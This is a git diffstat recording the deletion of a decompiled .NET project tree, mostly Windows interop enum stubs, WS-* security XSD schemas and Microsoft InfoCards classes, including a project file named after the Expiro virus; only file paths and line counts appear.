- .../__MIDL_IInternetZoneManager_0001.cs | 15 - .../__MIDL_IInternetZoneManager_0002.cs | 15 - .../__MIDL_IMonikerProp_0001.cs | 15 - .../__MIDL_IOleDocument_0001.cs | 15 - .../__MIDL_IPrint_0001.cs | 15 - ...__MIDL___MIDL_itf_objidl_0000_0046_0001.cs | 15 - ...__MIDL___MIDL_itf_objidl_0000_0046_0002.cs | 15 - ...MIDL_itf_structuredquery_0000_0013_0001.cs | 15 - .../__enative_startup_state.cs | 15 - .../_iobuf.cs | 17 - .../_ldiv_t.cs | 17 - .../_tagACENUMOPTION.cs | 15 - .../_tagAUTOCOMPLETELISTOPTIONS.cs | 15 - .../_tagAUTOCOMPLETEOPTIONS.cs | 15 - .../_tagINTERNETFEATURELIST.cs | 15 - .../_tagOIBDG_FLAGS.cs | 15 - .../_tagPARSEACTION.cs | 15 - .../_tagPI_FLAGS.cs | 15 - .../_tagPSUACTION.cs | 15 - .../_tagQUERYOPTION.cs | 15 - .../addressing.xsd | 144 - .../addressing04.xsd | 133 - ...croot_003CSystem_003A_003AString ^_003E.cs | 17 - .../identity.xsd | 434 - .../localeinfo_struct.cs | 17 - .../0.xsd | 195 - .../0.xsd | 108 - .../tagACTCTXW.cs | 17 - .../tagACTIVATEFLAGS.cs | 15 - .../tagADVF.cs | 15 - .../tagApplicationType.cs | 15 - .../tagAspectInfoFlag.cs | 15 - .../tagBANDSITECID.cs | 15 - .../tagBINDSPEED.cs | 15 - .../tagBINDSTATUS.cs | 15 - .../tagBINDSTRING.cs | 15 - .../tagBIND_FLAGS.cs | 15 - .../tagBROWSERFRAMEOPTIONS.cs | 15 - .../tagCALLCONV.cs | 15 - .../tagCALLTYPE.cs | 15 - .../tagCATEGORYINFO_FLAGS.cs | 15 - .../tagCATSORT_FLAGS.cs | 15 - .../tagCDBURNINGEXTENSIONACTION.cs | 15 - .../tagCDBURNINGEXTENSIONRET.cs | 15 - .../tagCHANGEKIND.cs | 15 - .../tagCLSCTX.cs | 15 - .../tagCOINIT.cs | 15 - .../tagCOMSD.cs | 15 - .../tagCONDITION_OPERATION.cs | 15 - .../tagCONDITION_TYPE.cs | 15 - .../tagCOWAIT_FLAGS.cs | 15 - .../tagCPVIEW.cs | 15 - .../tagCTRLINFO.cs | 15 - .../tagDATADIR.cs | 15 - .../tagDCOM_CALL_STATE.cs | 15 - .../tagDESCKIND.cs | 15 - .../tagDESKBANDCID.cs | 15 - .../tagDISCARDCACHE.cs | 15 - .../tagDOMNodeType.cs | 15 - .../tagDVASPECT.cs | 15 - .../tagDVASPECT2.cs | 15 - .../tagEOLE_AUTHENTICATION_CAPABILITIES.cs | 15 - .../tagEXPCMDFLAGS.cs | 15 - .../tagEXPCMDSTATE.cs | 15 - .../tagEXTCONN.cs | 15 - .../tagExtendedErrorParamTypes.cs | 15 - .../tagExtentMode.cs | 15 - .../tagFOLDERFLAGS.cs | 15 - .../tagFOLDERVIEWMODE.cs | 15 - .../tagFUNCFLAGS.cs | 15 - .../tagFUNCKIND.cs | 15 - .../tagGETPROPERTYSTOREFLAGS.cs | 15 - .../tagGPFIDL_FLAGS.cs | 15 - .../tagGUIDKIND.cs | 15 - .../tagHITRESULT.cs | 15 - .../tagINTERVAL_LIMIT_KIND.cs | 15 - .../tagINVOKEKIND.cs | 15 - .../tagLIBFLAGS.cs | 15 - .../tagLOCKTYPE.cs | 15 - .../tagMARKUPLINKTEXT.cs | 15 - .../tagMARKUPMESSAGE.cs | 15 - .../tagMARKUPSIZE.cs | 15 - .../tagMARKUPSTATE.cs | 15 - .../tagMEMCTX.cs | 15 - .../tagMENUBANDHANDLERCID.cs | 15 - .../tagMENUPOPUPPOPUPFLAGS.cs | 15 - .../tagMENUPOPUPSELECT.cs | 15 - .../tagMKREDUCE.cs | 15 - .../tagMKSYS.cs | 15 - .../tagMSG.cs | 17 - .../tagMSHCTX.cs | 15 - .../tagMSHLFLAGS.cs | 15 - .../tagNAMESPACEWALKFLAG.cs | 15 - .../tagNSTCECLICKTYPE.cs | 15 - .../tagNSTCEHITTEST.cs | 15 - .../tagNSTCGNI.cs | 15 - .../tagNSTCITEMSTATE.cs | 15 - .../tagNSTCROOTSTYLE.cs | 15 - .../tagNSTCSTYLE.cs | 15 - .../tagOLECLOSE.cs | 15 - .../tagOLECONTF.cs | 15 - .../tagOLEDCFLAGS.cs | 15 - .../tagOLEGETMONIKER.cs | 15 - .../tagOLELINKBIND.cs | 15 - .../tagOLEMISC.cs | 15 - .../tagOLERENDER.cs | 15 - .../tagOLEUPDATE.cs | 15 - .../tagOLEVERBATTRIB.cs | 15 - .../tagOLEWHICHMK.cs | 15 - .../tagOPEN_AS_INFO_FLAGS.cs | 15 - .../tagPENDINGMSG.cs | 15 - .../tagPENDINGTYPE.cs | 15 - .../tagPERSIST_SPROPSTORE_FLAGS.cs | 15 - .../tagPKA_FLAGS.cs | 15 - .../tagPOINTERINACTIVE.cs | 15 - .../tagPROPBAG2_TYPE.cs | 15 - .../tagPROPDESC_AGGREGATION_TYPE.cs | 15 - .../tagPROPDESC_COLUMNINDEX_TYPE.cs | 15 - .../tagPROPDESC_CONDITION_TYPE.cs | 15 - .../tagPROPDESC_DISPLAYTYPE.cs | 15 - .../tagPROPDESC_ENUMFILTER.cs | 15 - .../tagPROPDESC_FORMAT_FLAGS.cs | 15 - .../tagPROPDESC_GROUPING_RANGE.cs | 15 - .../tagPROPDESC_RELATIVEDESCRIPTION_TYPE.cs | 15 - .../tagPROPDESC_SEARCHINFO_FLAGS.cs | 15 - .../tagPROPDESC_SORTDESCRIPTION.cs | 15 - .../tagPROPDESC_TYPE_FLAGS.cs | 15 - .../tagPROPDESC_VIEW_FLAGS.cs | 15 - .../tagPROPENUMTYPE.cs | 15 - .../tagPROPERTYUI_FLAGS.cs | 15 - .../tagPROPERTYUI_FORMAT_FLAGS.cs | 15 - .../tagPROPERTYUI_NAME_FLAGS.cs | 15 - .../tagPROPPAGESTATUS.cs | 15 - .../tagPROPVARIANT.cs | 60 - .../tagPictureAttributes.cs | 15 - .../tagQACONTAINERFLAGS.cs | 15 - .../tagQUERY_PARSER_MANAGER_OPTION.cs | 15 - .../tagREADYSTATE.cs | 15 - .../tagRECT.cs | 17 - .../tagREGCLS.cs | 15 - .../tagREGKIND.cs | 15 - .../tagSERVERCALL.cs | 15 - .../tagSF_TYPE.cs | 15 - .../tagSHCOLSTATE.cs | 15 - .../tagSHCONTF.cs | 15 - .../tagSHELLITEMCOMPAREHINTF.cs | 15 - .../tagSHELLPROPSHEETEXTPAGEID.cs | 15 - .../tagSHGDN.cs | 15 - .../tagSIATTRIBFLAGS.cs | 15 - .../tagSIGDN.cs | 15 - .../tagSIIGB.cs | 15 - .../tagSLGP_FLAGS.cs | 15 - .../tagSLR_FLAGS.cs | 15 - .../tagSMINFOFLAGS.cs | 15 - .../tagSMINFOMASK.cs | 15 - .../tagSMINFOTYPE.cs | 15 - .../tagSPBEGINF.cs | 15 - .../tagSPINITF.cs | 15 - .../tagSTATFLAG.cs | 15 - .../tagSTDMSHLFLAGS.cs | 15 - .../tagSTGC.cs | 15 - .../tagSTGMOVE.cs | 15 - .../tagSTGOP.cs | 15 - .../tagSTGTY.cs | 15 - .../tagSTREAM_SEEK.cs | 15 - .../tagSTRRET_TYPE.cs | 15 - .../tagSTRUCTURED_QUERY_MULTIOPTION.cs | 15 - .../tagSTRUCTURED_QUERY_PARSE_ERROR.cs | 15 - .../tagSTRUCTURED_QUERY_RESOLVE_OPTION.cs | 15 - .../tagSTRUCTURED_QUERY_SINGLE_OPTION.cs | 15 - .../tagSVGIO.cs | 15 - .../tagSVUIA_STATUS.cs | 15 - .../tagSYSKIND.cs | 15 - .../tagShutdownType.cs | 15 - .../tagTEXTMETRICA.cs | 17 - .../tagTEXTMETRICW.cs | 17 - .../tagTYMED.cs | 15 - .../tagTYPEFLAGS.cs | 15 - .../tagTYPEKIND.cs | 15 - .../tagTYSPEC.cs | 15 - .../tagUASFLAGS.cs | 15 - .../tagURLTEMPLATE.cs | 15 - .../tagURLZONE.cs | 15 - .../tagUSERCLASSTYPE.cs | 15 - .../tagVARFLAGS.cs | 15 - .../tagVARIANT.cs | 74 - .../tagVARKIND.cs | 15 - .../tagVIEWSTATUS.cs | 15 - .../tagXFORMCOORDS.cs | 15 - .../tagXMLEMEM_TYPE.cs | 15 - .../tag_CIMTYPE_ENUMERATION.cs | 15 - .../tag_WBEMSTATUS.cs | 15 - .../tag_WBEMSTATUS_FORMAT.cs | 15 - .../tag_WBEM_BACKUP_RESTORE_FLAGS.cs | 15 - .../tag_WBEM_CHANGE_FLAG_TYPE.cs | 15 - .../tag_WBEM_COMPARISON_FLAG.cs | 15 - .../tag_WBEM_COMPILER_OPTIONS.cs | 15 - .../tag_WBEM_CONDITION_FLAG_TYPE.cs | 15 - .../tag_WBEM_CONNECT_OPTIONS.cs | 15 - .../tag_WBEM_FLAVOR_TYPE.cs | 15 - .../tag_WBEM_GENERIC_FLAG_TYPE.cs | 15 - .../tag_WBEM_GENUS_TYPE.cs | 15 - .../tag_WBEM_INFORMATION_FLAG_TYPE.cs | 15 - .../tag_WBEM_LIMITATION_FLAG_TYPE.cs | 15 - .../tag_WBEM_LIMITS.cs | 15 - .../tag_WBEM_LOCKING.cs | 15 - .../tag_WBEM_QUERY_FLAG_TYPE.cs | 15 - .../tag_WBEM_REFRESHER_FLAGS.cs | 15 - .../tag_WBEM_SECURITY_FLAGS.cs | 15 - .../tag_WBEM_SHUTDOWN_FLAGS.cs | 15 - .../tag_WBEM_STATUS_TYPE.cs | 15 - .../tag_WBEM_TEXT_FLAG_TYPE.cs | 15 - .../tag_WBEM_TIMEOUT_TYPE.cs | 15 - .../tag_WBEM_UNSECAPP_FLAG_TYPE.cs | 15 - .../tag_WMI_OBJ_TEXT.cs | 15 - .../tm.cs | 17 - .../ws-identity-2007.xsd | 26 - .../ws-policy-2007.xsd | 141 - .../ws-policy.xsd | 118 - .../ws-securitypolicy-1/2.xsd | 1113 -- .../ws-securitypolicy.xsd | 979 -- .../ws-trust-1/3.xsd | 444 - .../ws-trust.xsd | 451 - .../xenc-schema.xsd | 137 - .../xml.xsd | 135 - .../xmldsig-core-schema.xsd | 310 - .../AssemblyInfo.cs | 22 - .../BrowserNavConstants.cs | 15 - .../CallMode.cs | 15 - .../CommandStateChangeConstants.cs | 15 - .../HDC__.cs | 17 - .../HINSTANCE__.cs | 17 - .../HWND__.cs | 17 - .../IGNOREMIME.cs | 15 - .../IMAGE_AUX_SYMBOL_TYPE.cs | 15 - .../IMPORT_OBJECT_NAME_TYPE.cs | 15 - .../IMPORT_OBJECT_TYPE.cs | 15 - .../AccessibilityApplicationManager.cs | 48 - .../InfoCards/AccessibilityHelperForVista.cs | 124 - .../AccessibilityHelperForXpWin2k3.cs | 169 - .../InfoCards/AppliesToBehaviorDecision.cs | 16 - .../AppliesToBehaviorDecisionTable.cs | 50 - .../Microsoft/InfoCards/Asn1Utilities.cs | 17 - .../InfoCards/AsymmetricCryptoSession.cs | 67 - .../Microsoft/InfoCards/AsyncParams.cs | 19 - .../Microsoft/InfoCards/AuditLog.cs | 25 - .../BeginCreateSecurityTokenRequest.cs | 36 - .../BeginGetFileNameFromUserRequest.cs | 72 - .../InfoCards/BeginSelectCardRequest.cs | 49 - .../Microsoft/InfoCards/BigInt.cs | 400 - .../InfoCards/BrowserPolicyValidator.cs | 26 - .../InfoCards/CancelAsyncOperationRequest.cs | 39 - .../Microsoft/InfoCards/Canonicalizers.cs | 248 - .../CheckStoreFileValidityRequest.cs | 77 - .../Microsoft/InfoCards/ClientRequest.cs | 405 - .../Microsoft/InfoCards/ClientUIRequest.cs | 305 - .../InfoCards/CloseCryptoHandleRequest.cs | 41 - .../InfoCards/CommunicationException.cs | 36 - .../Microsoft/InfoCards/Constants.cs | 23 - .../InfoCards/CorruptStoreException.cs | 30 - .../Microsoft/InfoCards/CreateCardRequest.cs | 52 - .../Microsoft/InfoCards/CredentialSelector.cs | 252 - .../InfoCards/CredentialSelectorType.cs | 22 - .../Microsoft/InfoCards/CryptoSession.cs | 232 - .../InfoCards/CustomTokenProvider.cs | 94 - .../InfoCards/DataAccessException.cs | 36 - .../Microsoft/InfoCards/DataBlob.cs | 16 - .../Microsoft/InfoCards/DataRow.cs | 116 - .../Microsoft/InfoCards/DataRowIndexBuffer.cs | 45 - .../Microsoft/InfoCards/DataSource.cs | 328 - .../Microsoft/InfoCards/DecryptRequest.cs | 61 - .../Microsoft/InfoCards/DeleteCardRequest.cs | 91 - .../Microsoft/InfoCards/DeleteStoreRequest.cs | 62 - .../Microsoft/InfoCards/DisplayClaim.cs | 57 - .../Microsoft/InfoCards/DisplayClaimType.cs | 15 - .../Microsoft/InfoCards/DisplayToken.cs | 85 - .../Microsoft/InfoCards/EncryptRequest.cs | 61 - .../Microsoft/InfoCards/EncryptedData.cs | 130 - .../InfoCards/EncryptedFileStoreHeader.cs | 39 - .../InfoCards/EncryptedObjectHeader.cs | 45 - .../Microsoft/InfoCards/EncryptionUtility.cs | 116 - .../EndCreateSecurityTokenRequest.cs | 25 - .../EndGetFileNameFromUserRequest.cs | 33 - .../InfoCards/EndSelectCardRequest.cs | 29 - .../Microsoft/InfoCards/ExceptionList.cs | 22 - .../InfoCards/ExceptionTranslationTable.cs | 41 - .../Microsoft/InfoCards/ExportException.cs | 36 - .../Microsoft/InfoCards/ExportFileRequest.cs | 114 - .../InfoCards/FailedToStartupUIException.cs | 31 - .../InfoCards/FileAccessException.cs | 36 - .../Microsoft/InfoCards/FileDataSource.cs | 1083 -- .../Microsoft/InfoCards/FreeIndexList.cs | 43 - .../InfoCards/GenerateDerivedKeyRequest.cs | 58 - .../InfoCards/GetBrowserTokenEndpoint.cs | 90 - .../InfoCards/GetBrowserTokenParameters.cs | 110 - .../InfoCards/GetBrowserTokenRequest.cs | 609 -- .../InfoCards/GetCardDetailsRequest.cs | 42 - .../InfoCards/GetCertificateRequest.cs | 40 - .../InfoCards/GetCryptoTransformRequest.cs | 58 - .../Microsoft/InfoCards/GetFileNameResult.cs | 26 - .../InfoCards/GetImportFileNameRequest.cs | 44 - .../InfoCards/GetImportedCardRequest.cs | 120 - .../InfoCards/GetIsBrowserClientRequest.cs | 34 - .../InfoCards/GetKeyedHashRequest.cs | 46 - .../InfoCards/GetLastErrorDetailsRequest.cs | 53 - .../GetLedgerEntryForRecipientRequest.cs | 76 - .../Microsoft/InfoCards/GetLedgerRequest.cs | 60 - .../InfoCards/GetPolicyDetailsRequest.cs | 106 - .../InfoCards/GetRecipientListRequest.cs | 68 - .../InfoCards/GetRecipientRequest.cs | 65 - .../Microsoft/InfoCards/GetTokenRequest.cs | 258 - .../InfoCards/GetUserPreferenceRequest.cs | 50 - .../Microsoft/InfoCards/GlobalId.cs | 120 - .../Microsoft/InfoCards/HandleDictionary`1.cs | 53 - .../Microsoft/InfoCards/HashCoreRequest.cs | 55 - .../Microsoft/InfoCards/HashCryptoSession.cs | 60 - .../Microsoft/InfoCards/HashFinalRequest.cs | 54 - .../Microsoft/InfoCards/HashUtility.cs | 54 - .../HttpProxyTransportBindingElement.cs | 93 - .../InfoCards/IAccessibilityHelper.cs | 29 - .../Microsoft/InfoCards/ICanonicalizer.cs | 15 - .../Microsoft/InfoCards/ITokenFactory.cs | 19 - .../InfoCards/IdentityValidationException.cs | 36 - .../Microsoft/InfoCards/ImportException.cs | 36 - .../Microsoft/InfoCards/ImportFileRequest.cs | 102 - .../Microsoft/InfoCards/ImportRequest.cs | 91 - .../InfoCards/ImportStoreException.cs | 36 - .../Microsoft/InfoCards/IndexObject.cs | 48 - .../Microsoft/InfoCards/IndexedDataBuffer.cs | 336 - .../Microsoft/InfoCards/InfoCard.cs | 1387 --- .../InfoCards/InfoCardBinaryReader.cs | 146 - .../Microsoft/InfoCards/InfoCardClaim.cs | 92 - .../InfoCards/InfoCardClaimCollection.cs | 158 - .../Microsoft/InfoCards/InfoCardConstants.cs | 189 - .../InfoCards/InfoCardListRequest.cs | 107 - .../Microsoft/InfoCards/InfoCardMasterKey.cs | 124 - .../InfoCardMetadataExchangeClient.cs | 94 - .../InfoCardOfflineChainTrustValidator.cs | 93 - .../Microsoft/InfoCards/InfoCardPolicy.cs | 237 - .../InfoCards/InfoCardRequestException.cs | 36 - .../Microsoft/InfoCards/InfoCardSchemas.cs | 156 - .../Microsoft/InfoCards/InfoCardService.cs | 111 - .../InfoCardServiceClientCredentials.cs | 143 - .../Microsoft/InfoCards/InfoCardUIAgent.cs | 530 - .../InfoCards/InfoCardX509Validator.cs | 131 - .../InfoCards/InfoCardXmlSerializer.cs | 172 - .../InfocardExtendedInformationCollection.cs | 98 - .../InfocardExtendedInformationEntry.cs | 43 - .../InfoCards/IntermediatePolicyValidator.cs | 18 - .../InfoCards/InvalidCardException.cs | 36 - .../InvalidStoreProtectionKeyException.cs | 36 - .../Microsoft/InfoCards/IssuerInformation.cs | 72 - .../InfoCards/IssuerInformationEntry.cs | 24 - .../KerberosTokenFactoryCredential.cs | 22 - .../Microsoft/InfoCards/KeyBlock.cs | 47 - .../Microsoft/InfoCards/KeyBlockV2.cs | 24 - .../Microsoft/InfoCards/KeyGenRestartCodes.cs | 18 - .../Microsoft/InfoCards/LedgerEntry.cs | 211 - .../InfoCards/LedgerEntryCollection.cs | 65 - .../Microsoft/InfoCards/LifeTimeMonitor.cs | 95 - .../InfoCards/ListCardsInFileRequest.cs | 154 - .../InfoCards/ListDependantCardsRequest.cs | 81 - .../Microsoft/InfoCards/LocalIdCollection.cs | 39 - .../InfoCards/LogoValidationException.cs | 36 - .../Microsoft/InfoCards/ManageRequest.cs | 49 - .../MaxSessionCountExceededException.cs | 36 - .../InfoCards/MergeConflictCallback.cs | 10 - .../Microsoft/InfoCards/NativeMcppMethods.cs | 1186 --- .../Microsoft/InfoCards/NativeMethods.cs | 169 - .../InfoCards/OptionalRstParameters.cs | 102 - .../Microsoft/InfoCards/ParsedPolicy.cs | 45 - .../InfoCards/PasswordValidationException.cs | 36 - .../InfoCards/PinProtectionHelper.cs | 133 - .../Microsoft/InfoCards/Policy.cs | 419 - .../Microsoft/InfoCards/PolicyFactory.cs | 141 - .../Microsoft/InfoCards/PolicyType.cs | 15 - .../Microsoft/InfoCards/PolicyUsageContext.cs | 15 - .../Microsoft/InfoCards/PolicyUtility.cs | 23 - .../InfoCards/PolicyValidationException.cs | 36 - .../Microsoft/InfoCards/PolicyValidator.cs | 139 - .../InfoCards/ProcessExitedException.cs | 36 - .../Microsoft/InfoCards/ProcessManager.cs | 158 - .../Microsoft/InfoCards/ProcessMonitor.cs | 59 - .../Microsoft/InfoCards/ProtocolProfile.cs | 64 - .../InfoCards/Psha1DerivedKeyGenerator.cs | 87 - .../Microsoft/InfoCards/QueryDetails.cs | 23 - .../Microsoft/InfoCards/QueryParameter.cs | 51 - .../InfoCards/QueryStoreStatusRequest.cs | 48 - .../InfoCards/RPIdentityRequirement.cs | 80 - .../Microsoft/InfoCards/RSATokenProvider.cs | 43 - .../Microsoft/InfoCards/Recipient.cs | 446 - .../Microsoft/InfoCards/RecipientIdentity.cs | 100 - .../RemoteAsymmetricSignatureFormatter.cs | 43 - .../InfoCards/RemoteCryptoDecryptRequest.cs | 67 - .../RemoteCryptoRsaServiceProvider.cs | 131 - .../InfoCards/RemoteCryptoSignHashRequest.cs | 49 - .../InfoCards/RemoteCryptoTokenProvider.cs | 50 - .../Microsoft/InfoCards/RemoteTokenFactory.cs | 546 - .../RemoteX509AsymmetricSecurityKey.cs | 80 - .../Microsoft/InfoCards/RemoteX509Token.cs | 55 - .../Microsoft/InfoCards/Request.cs | 292 - .../Microsoft/InfoCards/RequestFactory.cs | 483 - .../InfoCards/RequestSecurityToken.cs | 154 - .../RequestSecurityTokenForGetBrowserToken.cs | 57 - ...questSecurityTokenForRemoteTokenFactory.cs | 88 - .../RequestSecurityTokenParameters.cs | 91 - .../RequestSecurityTokenResponseHelper.cs | 463 - .../RequestSecurityTokenSerializer.cs | 212 - .../Microsoft/InfoCards/ResolvePPIDRequest.cs | 52 - .../Microsoft/InfoCards/RoamingStoreFile.cs | 129 - .../InfoCards/RoamingStoreFileUtility.cs | 289 - .../InfoCards/RpcAllocMemCallback.cs | 13 - .../Microsoft/InfoCards/RpcAsyncResult.cs | 167 - .../InfoCards/RpcAuthorizeCallback.cs | 13 - .../Microsoft/InfoCards/RpcCallbacks.cs | 30 - .../RpcClientBindToServiceCallback.cs | 13 - .../Microsoft/InfoCards/RpcCryptoContext.cs | 105 - .../Microsoft/InfoCards/RpcCryptoRequest.cs | 45 - .../Microsoft/InfoCards/RpcFreeMemCallback.cs | 13 - .../InfoCards/RpcProcessNewRequestCallback.cs | 17 - .../Microsoft/InfoCards/RpcRequest.cs | 19 - .../Microsoft/InfoCards/RpcResponse.cs | 36 - .../RpcRundownClientContextHandle.cs | 13 - .../RpcUIAgentBindToServiceCallback.cs | 22 - .../InfoCards/RpcUIAgentGetWorkCallback.cs | 12 - .../Microsoft/InfoCards/RsaKeyGen.cs | 218 - .../Microsoft/InfoCards/SafeCryptoKey.cs | 108 - .../InfoCards/SafeCryptoKeyHandle.cs | 30 - .../Microsoft/InfoCards/SafeJobHandle.cs | 37 - .../Microsoft/InfoCards/SafeNativeHandle.cs | 27 - .../InfoCards/SafeRsaProviderHandle.cs | 54 - .../Microsoft/InfoCards/SaveCardRequest.cs | 81 - .../InfoCards/SaveLedgerEntryRequest.cs | 33 - .../InfoCards/SaveRecipientRequest.cs | 65 - .../Microsoft/InfoCards/SecondaryIndex.cs | 334 - .../InfoCards/SecondaryIndexDefinition.cs | 84 - .../Microsoft/InfoCards/SecondaryIndexItem.cs | 26 - .../Microsoft/InfoCards/SecondaryIndexList.cs | 203 - .../InfoCards/SecondaryIndexSettings.cs | 18 - .../InfoCards/SecurityKeyTypeInternal.cs | 15 - .../InfoCards/SelfIssuedAuthAsymmetricKey.cs | 107 - .../InfoCards/SelfIssuedAuthProofToken.cs | 82 - .../SelfIssuedAuthRSACryptoProvider.cs | 63 - ...fIssuedAuthRSAPKCS1SignatureDeformatter.cs | 40 - ...elfIssuedAuthRSAPKCS1SignatureFormatter.cs | 40 - .../InfoCards/SelfIssuedSamlTokenFactory.cs | 312 - .../SelfIssuedTokenFactoryCredential.cs | 24 - .../InfoCards/SendAgentStatusRequest.cs | 63 - .../SerializationIncompleteException.cs | 19 - .../InfoCards/ServiceBusyException.cs | 36 - .../InfoCards/SetUserLanguageRequest.cs | 36 - .../InfoCards/SetUserPreferenceRequest.cs | 60 - .../Microsoft/InfoCards/SignHashRequest.cs | 51 - .../Microsoft/InfoCards/SignatureHeader.cs | 20 - .../Microsoft/InfoCards/StorableObjectType.cs | 21 - .../Microsoft/InfoCards/StoreConnection.cs | 341 - .../InfoCards/SymmetricCryptoSession.cs | 83 - .../Microsoft/InfoCards/SystemIdentity.cs | 62 - .../InfoCards/SystemShuttingDownException.cs | 36 - .../InfoCards/TokenCreationException.cs | 36 - .../InfoCards/TokenCreationParameter.cs | 349 - .../Microsoft/InfoCards/TokenDescriptor.cs | 105 - .../Microsoft/InfoCards/TokenFactoryBase.cs | 44 - .../InfoCards/TokenFactoryCredential.cs | 87 - .../InfoCards/TokenFactoryCredentialType.cs | 18 - .../InfoCards/TokenFactoryFactory.cs | 27 - .../InfoCards/TransformBlockRequest.cs | 61 - .../InfoCards/TransformCryptoSession.cs | 47 - .../InfoCards/TransformFinalBlockRequest.cs | 55 - .../InfoCards/TrustExchangeException.cs | 36 - .../InfoCards/UIAgentAsyncBeginRequest.cs | 108 - .../InfoCards/UIAgentAsyncEndRequest.cs | 78 - .../Microsoft/InfoCards/UIAgentAsyncParams.cs | 27 - .../InfoCards/UIAgentCrashedException.cs | 14 - .../UIAgentInitializationException.cs | 25 - .../Microsoft/InfoCards/UIAgentMonitor.cs | 76 - .../InfoCards/UIAgentMonitorHandle.cs | 36 - .../Microsoft/InfoCards/UIAgentRequest.cs | 138 - .../Microsoft/InfoCards/UIEndRequest.cs | 30 - .../Microsoft/InfoCards/UnlockCardRequest.cs | 58 - .../UnsupportedPolicyOptionsException.cs | 36 - .../InfoCards/UntrustedRecipientException.cs | 36 - .../UserNameTokenFactoryCredential.cs | 31 - .../Microsoft/InfoCards/UserPreference.cs | 93 - .../Microsoft/InfoCards/Utility.cs | 450 - .../Microsoft/InfoCards/VerifyHashRequest.cs | 63 - .../InfoCards/WSIdentityFaultException.cs | 98 - .../Microsoft/InfoCards/X509AudioLogo.cs | 23 - .../X509CertificateTokenFactoryCredential.cs | 68 - .../Microsoft/InfoCards/X509ImageLogo.cs | 23 - .../Microsoft/InfoCards/X509Logo.cs | 62 - .../Microsoft/InfoCards/X509LogoDataType.cs | 14 - .../Microsoft/InfoCards/X509LogoType.cs | 16 - .../InfoCards/X509LogoTypeExtension.cs | 201 - .../InfoCards/X509RecipientIdentity.cs | 64 - .../Microsoft/InfoCards/XmlNames.cs | 863 -- .../NEGOTIATE_MESSAGES.cs | 15 - .../OLECMDEXECOPT.cs | 15 - .../OLECMDF.cs | 15 - .../OLECMDID.cs | 15 - .../OLECMDTEXTF.cs | 15 - .../OfflineFolderStatus.cs | 15 - .../PIDMSI_STATUS_VALUE.cs | 15 - .../RESTRICTIONS.cs | 15 - .../RPC_ADDRESS_CHANGE_TYPE.cs | 15 - .../RefreshConstants.cs | 15 - .../ReplacesCorHdrNumericDefines.cs | 15 - .../RequireAppliesToStatus.cs | 12 - .../SYSGEOCLASS.cs | 15 - .../SYSGEOTYPE.cs | 15 - .../SYSNLS_FUNCTION.cs | 15 - .../SecureLockIconConstants.cs | 15 - .../ShellFolderViewOptions.cs | 15 - .../ShellSpecialFolderConstants.cs | 15 - .../ShellWindowFindWindowOptions.cs | 15 - .../ShellWindowTypeConstants.cs | 15 - .../TrustDecision.cs | 15 - .../VARENUM.cs | 15 - .../Virus.Win32.Expiro.w.csproj | 733 -- .../Virus.Win32.Expiro.w.sln | 20 - .../WELL_KNOWN_SID_TYPE.cs | 15 - .../WPCSETTING.cs | 15 - .../X931_restart_t.cs | 15 - .../$ArrayType$$$BY00$$CBD.cs | 21 - .../$ArrayType$$$BY00$$CBG.cs | 21 - .../$ArrayType$$$BY00Q6MPBXXZ.cs | 20 - .../$ArrayType$$$BY07$$CBG.cs | 21 - .../$ArrayType$$$BY08$$CB_W.cs | 21 - .../$ArrayType$$$BY0A@P6AHXZ.cs | 20 - .../$ArrayType$$$BY0A@P6AXXZ.cs | 20 - .../$ArrayType$$$BY0BAE@G.cs | 21 - .../$ArrayType$$$BY0BAF@G.cs | 21 - .../$ArrayType$$$BY0BB@K.cs | 20 - .../$ArrayType$$$BY0BC@$$CBG.cs | 21 - .../$ArrayType$$$BY0CB@$$CBG.cs | 21 - .../$ArrayType$$$BY0CE@$$CBD.cs | 21 - .../$ArrayType$$$BY0CE@$$CBG.cs | 21 - .../$ArrayType$$$BY0EE@E.cs | 21 - .../$ArrayType$$$BY0O@$$CBD.cs | 21 - .../$ArrayType$$$BY0P@$$CBG.cs | 21 - .../ActivationContext.cs | 20 - .../AtExitLock.cs | 20 - .../DefaultDomain.cs | 20 - .../LanguageSupport.cs | 20 - .../NativeDll.cs | 20 - .../Progress.cs | 28 - .../ThisModule.cs | 20 - .../TriBool.cs | 28 - .../_003CModule_003E.cs | 1399 --- .../_ACCESS_MODE.cs | 15 - .../_ACL.cs | 17 - .../_ACL_INFORMATION_CLASS.cs | 15 - .../_ACTIVATION_CONTEXT_INFO_CLASS.cs | 15 - .../_APTTYPE.cs | 15 - .../_AUDIT_EVENT_TYPE.cs | 15 - .../_BIN_TYPES.cs | 15 - .../_CERT_CHAIN_CONTEXT.cs | 18 - .../_CHANGER_DEVICE_PROBLEM_TYPE.cs | 15 - .../_CM_ERROR_CONTROL_TYPE.cs | 15 - .../_CM_SERVICE_LOAD_TYPE.cs | 15 - .../_CM_SERVICE_NODE_TYPE.cs | 15 - .../_COMPUTER_NAME_FORMAT.cs | 15 - .../_CRYPT_OID_INFO.cs | 24 - .../_DETECTION_TYPE.cs | 15 - .../_DEVICE_POWER_STATE.cs | 15 - .../_DISK_WRITE_CACHE_STATE.cs | 15 - .../_DNS_CHARSET.cs | 15 - .../_DNS_NAME_FORMAT.cs | 15 - .../_Direction.cs | 15 - .../_DnsSection.cs | 15 - .../_ELEMENT_TYPE.cs | 15 - .../_ENLISTMENT_INFORMATION_CLASS.cs | 15 - .../_EXCEPTION_DISPOSITION.cs | 15 - .../_EXCEPTION_POINTERS.cs | 17 - .../_EXPLICIT_ACCESS_W.cs | 17 - .../_FINDEX_INFO_LEVELS.cs | 15 - .../_FINDEX_SEARCH_OPS.cs | 15 - .../_GET_FILEEX_INFO_LEVELS.cs | 15 - .../_GPO_LINK.cs | 15 - .../_GUID.cs | 18 - .../_HEAP_INFORMATION_CLASS.cs | 15 - .../_HandleType.cs | 15 - .../_IDL_CS_CONVERT.cs | 15 - .../_ITEMIDLIST.cs | 18 - .../_JOBOBJECTINFOCLASS.cs | 15 - .../_KERB_LOGON_SUBMIT_TYPE.cs | 15 - .../_KERB_PROFILE_BUFFER_TYPE.cs | 15 - .../_KERB_PROTOCOL_MESSAGE_TYPE.cs | 15 - .../_KTMOBJECT_TYPE.cs | 15 - .../_LOGICAL_PROCESSOR_RELATIONSHIP.cs | 15 - .../_LUID.cs | 17 - .../_MANDATORY_LEVEL.cs | 15 - .../_MEDIA_TYPE.cs | 15 - .../_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs | 15 - .../_MSV1_0_LOGON_SUBMIT_TYPE.cs | 15 - .../_MSV1_0_PROFILE_BUFFER_TYPE.cs | 15 - 